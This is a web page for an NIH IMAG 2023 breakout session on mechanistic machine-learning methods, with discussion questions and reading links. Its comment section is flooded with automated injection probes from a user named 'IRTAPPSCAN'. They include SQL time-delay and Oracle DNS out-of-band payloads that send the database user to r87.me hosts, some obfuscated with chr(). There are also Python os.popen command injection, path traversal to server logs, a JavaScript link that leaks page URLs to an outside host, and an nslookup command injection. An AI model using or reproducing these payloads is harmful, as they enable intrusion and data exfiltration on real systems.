Breakout 2 - New Mechanistic-ML Methods

Back to 2023 Agenda

Back to main Breakout Session page

 

2. New Mechanistic-ML Methods: PINN, transformer, neural operators, XAI, Large Language Models

MSM lead: George Karniadakis; IMAG lead: Mauricio Rangel-Gomez, Ilana Goldberg, Julia Berzhanskaya

  • What are the similarities and differences between current methods; e.g. PINN, neural operator, transformer, XAI, Large Language models?
  • What are the opportunities to improve these methods?
  • How can these methods be applied to blood diagnostics an diseases as it pertains to the IMAG interest group AI and Machine Learning for Blood Diagnostics and Diseases | Interagency Modeling and Analysis Group (nih.gov)? 
  • How can these methods be applied to neuroscience?
  • How can these methods be used in the IMAG initiatives discussed in Session 2.1?
  • How can we use biomechanistic and bioinformatics models synenergistically?
  • Graph neural networks and causal inference.
  • Uncertainty quantification in neural networks.

 

Resources:

Articles of Interest:

Stop explaining black box machine learning models for high stakes decisions and use interpretable models instead

[2303.12093] ChatGPT for Programming Numerical Methods (arxiv.org)

4 Ideas for Physics-Informed Neural Networks that FAILED | by Rafael Bischof | Towards Data Science

10 Exciting Project Ideas Using Large Language Models (LLMs) for Your Portfolio | by Leonie Monigatti | May, 2023 | Towards Data Science

Uncertainty quantification in scientific machine learning: Methods, metrics, and comparisons

Learning nonlinear operators via DeepONet based on the universal approximation theorem of operators

A Deep convolutional neural network for classification of red blood cells in sickle cell anemia

 

NIH Announcements:

NIMH » Explainable Artificial Intelligence for Decoding and Modulating Behaviorally-Activated Brain Circuits (nih.gov)

NOT-MH-23-110: Notice of Special Interest (NOSI): Explainable Artificial Intelligence for Decoding and Modulating Neural Circuit Activity Linked to Behavior (nih.gov)

May 31, 2023: NIH Pragmatic Trials Collaboratory Announces Virtual Workshop on Getting the Right Evidence to Decision-Makers Faster - Rethinking Clinical Trials

IMAG wiki: Models, Tools and Databases

MSM Theoretical and Computational Methods WG

2019 IMAG ML-MSM Meeting

Publication from 2019 ML-MSM meeting

Comment

Comment

gethostbyname(lc 'h_cszcnetxedx76r63synykev3tel7n7ujm-ywik'.'-go.r87.me')

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:39

Comment

3

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:40

Comment

') AND (SELECT 1 FROM (SELECT(SLEEP(25)))A)-- 1 /* 57ab14cd-9f05-4d23-95b8-bce8b7dbccd5 */

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:40

Comment

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('h_cszcnetxhojsc5n9cclrhc6iftnocr3wm-2jxh'||'oes.r87.me') from DUAL))))

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:40

Comment

3

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:40

Comment

3

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:40

Comment

__import__('os').popen(('expr 268409241 - {0}').format('55935')).read()

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:40

Comment

/../../../../../../../../../../var/log/nginx/access.log

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:40

Comment

gethostbyname(lc 'h_cszcnetxbfajcshc4mg_gq94hddyo4czfnwe8l'.'sym.r87.me')

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:40

Comment

3

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:40

Comment

'XOR(if(now()=sysdate(),sleep(25),0))XOR'NS /* a15792a5-2948-4aba-a452-1aa48cb6731a */

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:40

Comment

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('h_cszcnetxmrxli8nom9d4klulteyh47hiyyhty4'||'niq.r87.me') from DUAL))))

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:41

Comment

3

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:41

Comment

3

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:41

Comment

eval('gethostbyname(lc 'h_cszcnetxne0rv65o44nivvmzrgoy-q93ubfduy'.'p5s.r87.me')')

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:41

Comment

/../../../../../../../../../../opt/lampp/logs/access_log

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:41

Comment

__import__('os').popen(('SET /A 268409241 - {0}').format('28725')).read()

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:41

Comment

3

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:41

Comment

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('h_cszcnetx4t41mq-mdmcf4jdvlseqnzmjcu7bxe'||'wzs.r87.me') from DUAL))||'

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:41

Comment

'XOR(if(now()=sysdate(),sleep(25),0))XOR'NS /* 9b9e372b-3843-4aaa-ba31-3bf44842238c */

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:41

Comment

3

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:41

Comment

';l=document.createElement("link");l.rel="prefetch";l.href="//h_cszcnetxjq_euowbefxdgzyivm4qjls1vitfk0"+"7yk.r87.me/r/?"+location.href;document.head.appendChild(l);//

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:41

Comment

eval('gethostbyname(lc 'h_cszcnetxrzxfrxljf3dxannucvy-0634xaebfc'.'_eg.r87.me')')

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:42

Comment

/../../../../../../../../../../var/log/lighttpd/access.log

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:42

Comment

3

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:42

Comment

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS('h_cszcnetxpdw_s8j_ifqel5mgfd10ff_y9lzymp'||'tsk.r87.me') from DUAL))||'

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:42

Comment

__import__('os').popen(('SET /A 268409241 - {0}').format('47919')).read()

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:42

Comment

3

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:42

Comment

3

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:42

Comment

'+gethostbyname(lc 'h_cszcnetxgwdsxz2dyziaesgyprc2umprl0345e'.'qdg.r87.me')+'

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:42

Comment

3

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:42

Comment

/../../../../../../../../../../AppServ/Apache24/logs/access.log

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:42

Comment

(select UTL_INADDR.GET_HOST_ADDRESS(chr(104)||chr(95)||chr(99)||chr(115)||chr(122)||chr(99)||chr(110)||chr(101)||chr(116)||chr(120)||chr(100)||chr(97)||chr(102)||chr(105)||chr(49)||chr(109)||chr(95)||chr(116)||chr(106)||chr(57)||chr(53)||chr(57)||chr(102)||chr(114)||chr(101)||chr(117)||chr(102)||chr(118)||chr(117)||chr(48)||chr(109)||chr(105)||chr(55)||chr(116)||chr(103)||chr(103)||chr(109)||chr(103)||chr(101)||chr(57)||chr(120)||chr(118)||chr(105)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:43

Comment

3

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:43

Comment

'+gethostbyname(lc 'h_cszcnetxwvwu_hmdydkqwly_2robsixpon27fq'.'lpy.r87.me')+'

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:43

Comment

3

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:43

Comment

(length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(104)||chr(95)||chr(99)||chr(115)||chr(122)||chr(99)||chr(110)||chr(101)||chr(116)||chr(120)||chr(49)||chr(95)||chr(55)||chr(110)||chr(99)||chr(102)||chr(113)||chr(108)||chr(110)||chr(120)||chr(114)||chr(110)||chr(119)||chr(105)||chr(111)||chr(106)||chr(45)||chr(45)||chr(97)||chr(110)||chr(113)||chr(118)||chr(109)||chr(99)||chr(103)||chr(105)||chr(120)||chr(113)||chr(102)||chr(100)||chr(121)||chr(100)||chr(109)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))))

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:43

Comment

../../../../../../../../../../xampp/apache/logs/access.log

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:43

Comment

3

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:43

Comment

"+gethostbyname(lc 'h_cszcnetxrncir0cjh7af_y0tgswc1jtjqabpza'.'5n0.r87.me')+"

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:44

Comment

3

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:44

Comment

3

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:44

Comment

'||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(104)||chr(95)||chr(99)||chr(115)||chr(122)||chr(99)||chr(110)||chr(101)||chr(116)||chr(120)||chr(55)||chr(98)||chr(52)||chr(109)||chr(120)||chr(110)||chr(114)||chr(120)||chr(100)||chr(50)||chr(101)||chr(119)||chr(114)||chr(55)||chr(95)||chr(48)||chr(102)||chr(112)||chr(111)||chr(100)||chr(116)||chr(99)||chr(119)||chr(106)||chr(95)||chr(116)||chr(120)||chr(105)||chr(115)||chr(114)||chr(111)||chr(121)||chr(121)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||'

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:44

Comment

3

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:44

Comment

/../../../../../../../../../../var/log/apache/access.log

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:44

Comment

"+gethostbyname(lc 'h_cszcnetxal4wjmpn15t_wtpnqijylqvnwbxewt'.'xlk.r87.me')+"

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:44

Comment

3

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:45

Comment

3

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:45

Comment

nslookup h_cszcnetxbw3r18q5pu10svmlfxyw0ca7zhtxnj^zbg.r87.me&'\"`0&nslookup h_cszcnetxbw3r18q5pu10svmlfxyw0ca7zhtxnj^zbg.r87.me&`'

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:45

Comment

3

Submitted by IRTAPPSCAN on Wed, 05/21/2025 - 10:45